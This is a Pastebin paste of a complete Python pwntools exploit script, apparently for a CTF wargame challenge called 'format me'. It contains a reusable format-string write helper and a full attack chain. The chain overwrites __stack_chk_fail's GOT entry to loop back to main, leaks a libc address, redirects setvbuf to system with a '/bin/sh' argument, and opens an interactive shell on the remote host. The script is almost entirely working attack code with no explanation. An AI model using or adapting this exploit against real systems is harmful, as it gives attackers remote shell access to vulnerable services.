Advertisement
Guest User

fomat_me.py

a guest
May 28th, 2017
380
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.61 KB | None | 0 0
  1. from pwn import *
  2. import time
  3. context(arch = 'i386', os = 'linux')
  4. def write2mem(r,addr_value,offset,prefix="",suffix="",sub=0):
  5.         d = []
  6.         for addr,value in addr_value:
  7.                 d.append((value>>16,addr+2))
  8.                 d.append((value&0xffff,addr))
  9.         d.sort()
  10.         payload=""
  11.         address = ""
  12.         v = 0
  13.         for value,addr in d:
  14.                 value = value-len(d)*4-sub
  15.                 if value==v:
  16.                         payload+="%{}$hn".format(str(offset))
  17.                 else:
  18.                         payload+="%{}x%{}$hn".format(str(value-v),str(offset))
  19.                 v = value
  20.                 address+=p32(addr)
  21.                 offset+=1
  22.         payload = prefix+address+payload+suffix
  23.         return payload
  24.  
  25. def exploit():
  26.         __stack_chk_fail_GOT = 0x0804A014
  27.         main = 0x0804851B
  28.         setvbuf = 0x0804A020
  29.         stdin = 0x0804A040
  30.        
  31.         HOST = 'formatme.wargame.whitehat.vn'
  32.         PORT = 1337
  33.         r = remote(HOST, PORT)
  34.      
  35.         offset = 7
  36.         r.recvuntil("echo ")
  37.         payload = write2mem(r,[(__stack_chk_fail_GOT,main)],offset,"","%20$p%19$p")
  38.         r.sendline(payload)
  39.         leak = r.recvuntil("echo ")[-5-len("0xf7538637"):-5]
  40.         __libc_start_main = int(leak,16)-247
  41.         offset_system = 141408
  42.         offset_str_bin_sh = 1323755
  43.         system = __libc_start_main + offset_system
  44.         str_bin_sh = __libc_start_main + offset_str_bin_sh
  45.         payload = write2mem(r,[(setvbuf,system),(stdin,str_bin_sh)],offset,"","")
  46.         r.sendline(payload)
  47.         r.interactive()
  48.  
  49. exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement